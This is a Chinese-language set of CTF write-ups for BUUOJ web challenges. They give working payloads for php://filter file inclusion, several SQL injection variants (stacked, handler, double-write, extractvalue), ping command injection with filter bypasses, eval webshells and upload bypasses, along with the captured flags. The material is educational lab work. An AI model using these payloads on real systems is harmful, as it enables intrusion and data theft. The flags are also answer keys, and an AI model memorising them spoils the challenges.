burp 抓包,发现文件名有点问题。题目和网址的 file 参数,提示这是文件包含的题。
GET /?file=flag.php HTTP/1.1
Host: 9b09eb46-2433-4403-b582-c5ee23d12378.node4.buuoj.cn:81
因此可以构造文件名发包
file=php://filter/read=convert.base64-encode/resource=flag.php
GET /?file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
得到结果 base64 解密
返回结果
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NzUyNTNiZTAtYzVhOS00ZmU4LWFiZDYtNjI5MmMzMGNjN2Y1fQo=
解密结果
这句的含义是用base64编码的方式来读文件,显示的是 flag.php
被 base64 编码后的内容,base64解码即可看到 flag。
原理:php://filter
是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取
php://filter
:这是声明协议,固有格式read
:表示可选参数,字面意思,同样还有 writeconvert.base64-encode
:代表过滤器,CTF中常用的PHP过滤器总结resource
:这是比选参数,指定要处理的文件名SQL注入集合题
堆叠注入原理
SQL中,分号
;
是用来表示一条SQL语句的结束。当在分号结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而联合注入也是将两条语句合并在一起,但是只执行一条语句。union 执行的语句类型有限,但堆叠注入可以依照次序执行任意语句。
首先查看源码,发现sqlmap是行不通的,于是只能手动注入。
输入:1 ,不报错
输入:1' ,不报错
输入:1' or 1,报错
输入:1' or 1 # ,不报错,存在 sql 注入
输入:1' order by 3 #,报错
输入:1' order by 2 #,不报错,说明有 2 列
输入:1' union select 1,2 #,不报错,但返回return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
几乎所有常用的关键字都被过滤了,所以考虑堆叠注入
输入:1'; show databases;#,不报错
输入:1'; show tables;#,不报错,有三个表分别为 hahahah、1919810931114514、words
查看 words 表 和 1919810931114514 表中的内容,
!!!注意表名上加引号!!!
输入:1';show columns from `words`; #
输入:1';show columns from `1919810931114514`; #, 出现了 flag 字样
array(6) {
[0]=>
string(4) "flag"
...
}
由此可知 flag 字段的值即为目的
因为此题中 SQL 查询的关键字都被过滤了,所以考虑编码构造 payload 的方式来发送请求。
通过预处理函数,进行读取数据
MySQL 将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。即预处理语句。
MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。
构造 payload
1';Set @b=concat("sele","ct ","* from `1919810931114514`");prepare execsql from @b;execute execsql;#
注:
execsql 即为要执行的 sql 语句,这个不能命名为 sql
set 语句用于向系统变量或用户变量赋值,比如针对用户变量的定义:set @var_name1=xxx, @var_name2=expr1
prepare 是准备执行的声明
execute 执行由PREPARE语句定义的语句
出 flag
array(1) {
[0]=>
string(42) "flag{92897e4d-485b-45b3-a8ba-f184f86a8ff8}"
}
这个想不到,直接见参考链接
HANDLE语句提供了直接访问存储引擎的接口。对于innodb和myism表都是可用的。
语法
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
handler table_name open as alias
:打开一个表,并重命名handler...read
:访问刚才打开的表handler...close
:关闭刚才打开的表例如
# 通过handler语句查询users表的内容
handler users open as u; # 打开 users 表并且重命名为 u
handler u read first; # 读取指定表的首行数据
handler u read next; # 读取指定表的下一行数据
handler u read next; # 读取指定表的下一行数据
...
handler u close; # 关闭表
因此,对于这个题,可以构造语句得到 flag
需要注意的是,1' 后面跟着的是enter键左边的 '。表名上的是 TAB 键上方的那个 `
1'; handler `1919810931114514` open as `a`;handler `a` read next;#
array(1) {
[0]=>
string(42) "flag{24ac33cf-0373-46bf-8129-fb79151299aa}"
}
# 在过滤了关键字的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
show datebases;
show tables;
show columns from table;
# 对列的增删改关键字add、alter、drop
alter table "table_name" add "column_name" type;
alter table "table_name" drop "column_name" type;
alter table "table_name" alter column "column_name" type;
# 对列名的修改
alter table "table_name" rename "column1" to "column2";
# handler
handler users open as u; # 打开 users 表并且重命名为 u
handler u read first; # 读取指定表的首行数据
handler u read next; # 读取指定表的下一行数据
handler u read next; # 读取指定表的下一行数据
...
handler u close; # 关闭表
参考链接
输入:1,不报错
输入:' or '1'='1,不报错但出现 Nonono,说明存在 waf,ban 掉了一些关键字
尝试堆叠注入
输入:1;show tables; 结果是 Array ( [0] => 1 ) Array ( [0] => Flag )
使用 handler,发现也被 ban 了关键字
1; handler `Flag` open as `f`; handler `f` read next; #
换种思路,当前数据库中只有一个表Flag,所以当前 sql 的查询必然是查询此表,因为输入1有回显,而输入其他 0 没有回显,猜测内置的查询语句有||
,猜测 sql 查询的内容为
$sql = "select ".$post['query']."||flag from Flag";
所以可以构造语句
输入:*,1
select *, 1||flag from Flag 相当于 select * from Flag
得
Array ( [0] => flag{299ffb24-3079-4edc-b27d-0156fc26eaf8} [1] => 1 )
使用set sql_mode=PIPES_AS_CONCAT;
将 ||
视为字符串的连接操作符而非或运算符。也就是将获运算功能变为字符串拼接。这样就可以构造
1;set sql_mode=PIPES_AS_CONCAT;select 1
本题的难点还是要从0和1的回显去进行推断。题目源码。
看到页面就可以猜测是隐藏了一些信息的,查看页面源代码,可以先搜索 php、asp、html
等关键字,此处我们搜索到
直接点击访问 ./Archive_room.php
,再次查看源码,发现有action.php
,这个就是页面上的跳转按钮
猜测action.php访问时间很短,时间一到立即跳转到 end.php
,在源码中点击 action.php
,使用 burp 拦截,结果是
DOCTYPE html>
<html>
html>
访问得到
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
最后访问 flag.php
,还是得不到答案,通过查看页面源代码发现并没有将 flag 写出来,但根据提示可以肯定 flag 就在这里,前端看不到,那就说明在 php 代码里,如何获取 flag.php
的源码?需要返回查看 secr3t.php
的文件包含漏洞。
传入的file经过了一些过滤,但是没有过滤filter,我们可以用 php://filter
来获取文件,因此可以构造语句来读取base64编码后的 flag.php
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
base 64解码得到结果
DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAGtitle>
head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
p>
body>
html>
可以 sqlmap 跑但是没必要
尝试万能密码
username: admin' or '1'='1
password: 1
结果是登录成功
Hello admin!
Your password is 'e72f951fecec43c4cae765f6084f9cd0'
尝试 MD5 解密失败,还是得要手工注入
错误写法
?username=admin' order by 3 # &password=1
正确写法:要把 # 替换为 %23,否则不会自动转
?username=admin' order by 3%23 &password=1 ==> 不报错
?username=admin' order by 4%23 &password=1 ==> Unknown column '4' in 'order clause'
附:URL编码表
说明一共有三列
加 and 0 显位
?username=admin' and 0 union select 1,2,3%23 &password=1
结果是
Hello 2!
Your password is '3'
说明第二位和第三位有回显
查库
?username=admin' and 0 union select 1,database(),version()%23 &password=1
Hello geek!
Your password is '10.3.18-MariaDB'
库为 geek
,接着爆表
?username=admin' and 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23 &password=1
Hello 2!
Your password is 'geekuser,l0ve1ysq1'
尝试 l0ve1ysq1
这个表
?username=admin' and 0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='l0ve1ysq1'%23 &password=1
Hello 2!
Your password is 'id,username,password'
爆数据
?username=admin' and 0 union select 1,2,group_concat(concat_ws(',',id,username,password)) from l0ve1ysq1%23&password=
注
group_concat()返回字符串结果,该结果由分组中的值连接组合而成
concat_ws(separator,str1,str2,…)可以指定分隔符,拼接字符串
得到 flag
flag{db97ba19-0c70-4d40-b4a5-98e4b1d29863}
ping 的题,猜测远程命令执行
payload: ping 127.0.0.1;ls
显示 index.php
知识点 :linux 系统中显示网页路径是 /var/www/html
,也就是说,index.php
的路径是 /var/www/html/index.php
先返回根目录看看 flag 在不在
ping 127.0.0.1;cd /;ls | grep flag
结果还真有,直接 cat
ping 127.0.0.1;cd /;cat flag
得
flag{04096105-ff9f-477b-a6ce-8fc83f871edf}
根据题目名称猜测是远程命令执行题
payload
?ip=127.0.0.1
显示成功返回数据
?ip=127.0.0.1;ls
返回结果
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php
说明当前目录下有这两个文件,如果是linux系统,那这两文件的目录应该是在 /var/www/html
下的,尝试cat
?ip=127.0.0.1;cat flag.php
返回结果
/?ip= fxck your space!
说明空格被过滤了,空格有很多种代替方法,比如
%20、%09、$IFS$1、${IFS}、<、<>等
这里$IFS$1
可以绕过
?ip=127.0.0.1;cat$IFS$1flag.php
返回
/?ip= fxck your flag!
测试 index.php
?ip=127.0.0.1;cat$IFS$1index.php
返回
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这段的意思是对我们的输入进行了过滤,preg_match("/.*f.*l.*a.*g.*/", $ip)
的意思是如果我们把flag连着写,就会被匹配到,因此只需要分开写即可。
. 用来匹配出换行符\n以外的任意字符
* 用来匹配前面的子表达式任意次
+ 用来匹配前面的子表达式一次或多次(大于等于1次)
? 用来匹配前面的子表达式零次或一次
拼接 flag,注意姿势
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php
上述是无法绕过的,需要改变ab的顺序
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看源码即可得到 flag
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
尝试
username: 1' or '1'=1
password: 1
返回 NO,Wrong username password!!!
尝试
username: 1' order by 3#
password: 1
返回 near 'der 3 #' and password='1'' at line 1
说明 or
和 by
被过滤了,使用双写尝试
username: 1' oorrder bbyy 3#
password: 1
成功,说明共有三列
爆库
username: 1' and 0 union select 1,2,3 #
password: 1
返回
syntax to use near '0 1,2,3 #' and password='1'' at line 1
说明 union、select
都被过滤了,使用双写
username: 1' and 0 ununionion seselectlect 1,2,3 #
password: 1
返回
syntax to use near '0 union select 1,2,3 #' and password='1'' at line 1
说明 and
也可能被过滤了
username: 1' anandd 0 ununionion seselectlect 1,2,3 #
password: 1
返回
Hello 2!
Your password is '3'
爆库
username: 1' anandd 0 ununionion seselectlect 1,2,database() #
password: 1
返回
Hello 2!
Your password is 'geek'
爆表,需要注意的是,在测试过程中发现 from、where
被过滤,需要双写,此外information
中含有的or
也要双写
username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema=database()#
password: 1
返回
Hello 2!
Your password is 'b4bsql,geekuser‘
这两个表都尝试后发现后没有 flag!,因此尝试爆出所有数据库!
username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
password: 1
返回
Hello 2!
Your password is 'information_schema,mysql,performance_schema,test,ctf,geek'
在 ctf
库中爆表
username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf'#
password: 1
Hello 2!
Your password is 'Flag'
爆列,注意 and
也需要双写
username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_schema='ctf' anandd table_name='Flag'#
password: 1
返回
Hello 2!
Your password is 'flag'
直接库.表名
拖数据
username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#
password: 1
返回
Hello 2!
Your password is 'flag{2f9fc7e2-45c0-43b0-b197-f663ccdd75b6}'
尝试
username: 1' or '1'='1
password: 1
结果:不报错
username: admin' order by 3 #
结果:不报错
username: admin' order by 4 #
结果:不报错
username: admin' and 0 union select 1,2,3 #
结果:不报错
username: '
password: 1
结果:报错 syntax to use near '1'' at line 1
username: '"
password: 1
结果:报错 syntax to use near '“' and password='1'' at line 1
username: '#
password: 1
结果:不报错
接着用 order by
查列,查不出来,怀疑关键字被过滤且是报错注入
username: ' or extractvalue(1,concat(0x7e,(select (database()))))#
password: 1
结果:不报错,怀疑空格也被过滤
去除空格尝试,注意,select后也要加括号,所有去除空格地方都要加括号
username: 'or(extractvalue(1,concat(0x7e,(select(database())))))#
password: 1
结果:XPATH syntax error: '~geek'
得到数据库名后爆表,
username: 'or(extractvalue(1,concat(0x7e,($sql))))#
password: 1
$sql = select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')
结果不报错,说明等于号被过滤了,可以使用 like 关键字尝试
$sql = select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))
结果:XPATH syntax error: '~H4rDsq1'
有点问题
'or(extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e)))#
爆字段
username: 'or(extractvalue(1,concat(0x7e,($sql))))#
password: 1
$sql = select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))
结果:XPATH syntax error: '~id,username,password'
拖数据
username: 'or(extractvalue(1,concat(0x7e,($sql))))#
password: 1
$sql = select(group_concat(id,username,password))from(geek.H4rDsq1)
结果:XPATH syntax error: '~1flagflag{4d5310ec-cd4a-4fda-9b'
flag 只出来一半,因为用extractvalue()函数,一次只能显示32个字符,我们需要用{left(),right()}
两个函数解决
left(str,len): 返回字符串 str 最左边的 len 个字符
right(str,len): 同理,返回字符串 str 最右边的 len 个字符
因此 sql 写成
$sql = select(left(password,30))from(geek.H4rDsq1)
$sql = select(right(password,30))from(geek.H4rDsq1)
分别返回
XPATH syntax error: '~flag{4d5310ec-cd4a-4fda-9bb1-7'
XPATH syntax error: '~c-cd4a-4fda-9bb1-7afc0e03b4e6}'
拼接 flag
flag{4d5310ec-cd4a-4fda-9bb1-7afc0e03b4e6}
尝试
UserName: 1' or '1'='1
password: 1
显示:do not hack me!
UserName: 1'
password: 1
显示:syntax to use near ''1''' at line
查看页面源码大,发现 search.php
,跳转后发现页面上有一串注释
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?title>
如何区分判断 MD5、BASE32、BASE64 等加密算法
MD5
MD5值是32位由数字 0-9 和字母 a-f 所组成的字符串,如
21232F297A57A5A743894A0E4A801FC3
特征:确定性(数据唯一,MD5唯一)、不可逆
BASE64
一般情况下密文尾部都会有一个或两个等号,这是它编码原理导致的,明文很少的时候则没有,例如
YWRtaW4tcm9vdA==
可逆
其他可参考链接
这个题要 base32 解密再 base64 解密(无语。。。),得到如下语句
select * from user where username = '$name'
意思是 本题的用户名和密码是分开检验的,先检测 username,username有了之后再校验密码能不能对应,检验密码的时候可能涉及 MD5 加密
经过测试,用户名为 admin
时显示 wrong pass
,而为其他用户名时显示的是 wrong user
,这就说明存在 admin
用户
此时思路转变为获取 admin
的密码,我们需要知道 username 在数据库的哪一列,有了如下测试
猜列数
1' order by 3#1' order by 4#1' order by 5#均出现的是:do not hack me! 说明有关键字被过滤了(等会介绍如何用 burp fuzz)1‘ union select 1,2#显示:Error: The used SELECT statements have a different number of columns1‘ union select 1,2,3#显示:wrong user! 说明共有三列,可以大致猜测是 id、username、password
猜用户名在哪一列
1' union select 'admin',2,3#
显示:wrong user!
1' union select 1,'admin',3#
显示:wrong pass!
说明在第二列
可以猜测后端php的校验过程,大致为
前端:输入 username,password
后端:数据库中查询用户名及其对应的 md5 加密后的密码 pwd
method(){
if(MD5(password) == pwd){
echo flag
}else{
...
}
}
联合注入技巧
- 当联合查询不存在的数据时,联合查询会构造一个虚拟的数据
比如下面这样语句就利用联合查询创建了一行虚拟的数据。
select * from users union select 1,'admin',md5(123456);
因此,可以利用联合查询创建一行 admin 账户的数据,创建时候要直接给出 MD5(123456)
的值
1' union select 1,'admin','E10ADC3949BA59ABBE56E057F20F883E'#显示:wrong pass!
经过测试,发现用的是 MD5 32位小写
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
登陆
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
123456
得到 flag
flag{f117d81f-a6da-4e6d-9109-0bc116a9899a}
本题考察的是简单的手工注入+联合查询查询不存在数据会构造虚拟的数据。
白给的 shell,根据题目名字,是中国菜刀题了,查看源码,发现 eval($_POST["Syc"]);
,要走后门
直接菜刀(没有 mac 版),或者蚂剑,进去添加链接,文件管理
地址:http://c89eafc4-6d08-4ece-a61c-02d9971669be.node4.buuoj.cn:81/
密码:Syc
在根目录中最下方有个 flag
文件,点开直接获取
flag{770f1947-6aa1-4414-87b8-9c63d36acbdb}
打开链接,查看网页源码,发现 Secret.php
,跳转过去,出现 It doesn't come from 'https://Sycsecret.buuoj.cn'
我们要访问 http://node4.buuoj.cn:26953/Secret.php
,它需要从指定的网站跳转过去,因此使用 burp 抓包,报文中添加 Referer 即可
Referer:https://Sycsecret.buuoj.cn
看到提示 Please use "Syclover" browser
,只需要修改 User-Agent
User-Agent:Syclover
看到提示 No!!! you can only read this locally!!!
,意思是我们只能在本地访问,那么伪造 ip,只需要添加
X-Forwarded-For:127.0.0.1
得到 flag
flag{17a6ff05-b28d-41e4-961b-42f2d94403a9}
知识点补充
X-Forwarded-For
问题:Web 经常会需要获取客户端IP地址,比如投票系统,为了防止刷票,目前互联网Web应用很少会将应用服务器直接对外提供服务,一般都会有一层Nginx做反向代理和负载均衡,有的甚至可能有多层代理。在有反向代理的情况下,直接使用
request.getRemoteAddr()
获取到的IP地址是Nginx所在服务器的IP地址,而不是客户端的IP。HTTP 协议是基于 TCP 协议的,按照这种情况,TCP 层也拿不到真实 IP。解决:很多HTTP代理会在HTTP协议头中添加
X-Forwarded-For
头,用来追踪请求的来源。X-Forwarded-For
的格式为X-Forwarded-For: client1, proxy1, proxy2
X-Forwarded-For
包含多个IP地址,每个值通过逗号+空格分开,最左边(client1)是最原始客户端的IP地址,中间如果有多层代理,每一层代理会将连接它的客户端IP追加在X-Forwarded-For
右边。参考文章
尝试之后,发现上传什么文件都不能成功,即使改成图片格式也不行,尝试写一句话木马,并且在文件前加上 GIF
文件头 GIF89a
以下是 hello.txt 文件的内容
GIF89a
上传后显示NO Image
,说明我们不能上传 txt 文件,这个 burp 抓了改 Content-Type即可,修改后上传显示 NO! HACKER! your file included ''
,需要修改一句话木马为脚本执行语句
hello.phtml 文件【后缀绕过】
GIF89a
上传,burp 截取,修改下Content-type
为 image/jpeg
,而不是 text/php
上传成功,用菜刀连接,需要知道上传之后的文件在哪。猜测是常规的目录/upload下面,连接成功
xxx/upload/hello.phtml
根目录下找到 flag
flag{3e3e2a88-88cd-459c-97fc-2dc57fc7969e}
总结:有几个绕道过点
- 图片文件头
- 文件内容不能有
- 后缀绕过,常见的php后缀:
php2, php3, php4, php5, phps, pht, phtm, phtml